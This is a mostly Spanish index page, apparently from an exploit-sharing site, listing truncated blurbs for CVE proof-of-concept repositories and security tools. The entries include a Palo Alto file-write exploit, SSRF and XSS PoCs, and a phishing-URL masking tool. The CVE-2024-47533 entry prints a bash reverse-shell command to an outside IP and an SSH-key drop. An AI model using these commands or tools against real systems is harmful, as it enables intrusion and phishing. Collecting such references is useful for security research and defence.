CVE-2022-28117

CVE-2022-28117 Navigate CMS = 2.9.4 - Falsificación de Solicitud del Lado del Servidor Autenticado Descripción Una vulnerabilidad de Falsificación de Solicitud del Lado del Servidor SSRF en la clase feedparser de Navigate CMS v2.9.4 permite a atacantes remotos forzar a la aplicación a realizar...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto Exploit de Escritura de Archivos Este exploit busca en instancias de URLs de Global Protect e intenta escribir archivos usando CVE-2024-3400 Usar con precaución Hecho solo con fines educativos Uso: root@kitploit: chmod +x gp-exploit.sh ./gp-exploit.sh...

CVE-2026-11120-Command-Injection-via-Git-URL-in-CI-CD-Pipeline

CVE-2026-11120 – Inyección de comandos a través de la URL de Git en el pipeline de CI/CD Código del programa Python root@kitploit: cicdbuild.py - Clones repository without sanitizing URL import subprocess, sys def cloneandbuildrepourl: Vulnerability: repourl can contain shell metacharacters cmd =...

phishurl-list

Conjunto de datos de URL de phishing de JPCERT/CC Detalles de las columnas date: Fecha confirmada por JPCERT/CC URL: URL completa de un sitio de phishing description: Información sobre una marca suplantada Página de estadísticas https://jpcertcc.github.io/phishurl-list/...

Malicious-URL-Detection-Open-Source

Malicious-URL-Detection-Open-Source Hemos recopilado el código fuente abierto existente para la detección de URL maliciosas...

cve-2025-4664

CVE-2025-4664 Este repositorio contiene un PoC para explotar CVE-2025-4664, una vulnerabilidad donde los navegadores basados en Chromium filtran parámetros de URL sensibles a través de solicitudes de precarga del encabezado Link. Recursos Para una explicación detallada de cómo funciona este...

SPY-MASKER

SPY-MASKER 🔥 SPY-MASKER 这是一个简单的 Python 脚本，用于将钓鱼 URL 隐藏在看起来正常的 URL（如 google.com 或 facebook.com）之下。它可以集成到钓鱼工具中，使 URL 看起来合法。 ⚖️ 法律免责声明： 仅供教育目的 未经事先双方同意，使用 SPY-MASKER 攻击目标是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任，也不对因使用本程序造成的任何误用或损害负责。请负责任地使用！ 💻 安装 root@kitploit: 克隆仓库 git clone...

crlfuzz

CRLFuzz A fast tool to scan CRLF vulnerability written in Go Resources Installation from Binary from Source from GitHub Usage Basic Usage Flags Target Single URL URLs from list from Stdin...

Metabase_CVE-2021-41277

MetabaseCVE-2021-41277 Descripción Metabase es una plataforma de análisis de datos de código abierto. En las versiones afectadas se ha descubierto un problema de seguridad con el soporte de mapas GeoJSON personalizados admin-settings-maps-custom maps-add a map y una posible inclusión local de...

CVE-2026-3576

CVE-2026-3576 - Plugin de WordPress Planyo Online Reservation System = 3.0 - Lectura Arbitraria de Archivos mediante SSRF Este repositorio contiene un PoC Prueba de Concepto basado en Python para el exploit de CVE-2026-3576. También se puede encontrar en Exploit-DB aquí. También he desarrollado u...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

urlhunter

o Utku Sen's /\o Oo |/ =- .===O-UR L -O- / /U' hunter /| || |/ \ | utkusen.com |K || twitter.com/utkusenen urlhunter 是一款侦察工具，可用于搜索通过 bit.ly 和 goo.gl 等短链接服务暴露的 URL。该项目使用 Go 语言编写。 原理？ 一个名为 URLTeam 的组织（向他们致敬）正在对 URL 短链接服务进行暴力破解，并每天发布匹配结果。urlhunter 会下载他们的集合并让您进行分析。 安装 通过二进制文件 您可以从发布页面下载预编译的二进制文件并运行。例...

CVE-2026-42897

CVE-2026-42897 - Punto ciego de la regla de reescritura saliente del Exchange Health Checker Severidad: Media CVSS 5.3 Componente: Microsoft CSS-Exchange - herramienta de diagnóstico HealthChecker Archivos afectados: Diagnostics/HealthChecker/Analyzer/Get-URLRewriteRule.ps1 L49, L72, L97...

CVE-2022-35499

En Trimble TM4WEB =22.2.0 el endpoint del visor externo de facturas es vulnerable a cross-site scripting reflejado mediante la inyección en un parámetro arbitrario añadido a la URL. Paso 1 : El siguiente ejemplo de URL activará la vulnerabilidad y ejecutará la función javascript alert mostrando e...

CVE-2020-8193

CVE-2020-8193...

CVE-2016-5699-poc

CVE-2016-5699-poc Código PoC de la vulnerabilidad CVE-2016-5699 El archivo poc.py es el emisor de URL a receiver.py receiver.py es un receptor de pruebas de encabezados HTTP con Flask Video : https://youtu.be/ugUt5iKpcV4 bunseokbot@UpRoot...

CVE-2022-22978

CVE-2022-22978 Spring Security Pasar Spring Security 成功 http://localhost:9090/login%0a Pasar Spring Security con SayMyName 失敗 http://localhost:9090/name%0d Saltar Spring Security con RBAC personalizado 失敗 http://localhost:9090/admin/admin%0d Saltar Spring Security con RBAC de anotaciones 失敗...

CVE-2021-22941

Uso python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Referencia https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

CVE-2021-26084

CVE-2021-26084 Alcance de la afectación Versión .jar y en el archivo atlassian-plugin.xml dentro de los archivos JAR de los complementos incluidos. Cada acción contiene al menos un atributo name, que define el nombre de la acción, un atributo class, que define la clase Java que ejecuta la acción,...

jsluicepp

📄 Tabla de contenidos 👋 Introducción 🛠️ Configuración 📝 Uso 📜 Características Monitorizar URLs Enviar a Repeater Secretos Notificaciones de secretos Copiar URL Coincidencia positiva/negativa Solo en el alcance Etiquetas en línea Ocultar duplicados Mostrar parametrizados Importar/Exportar Guardar...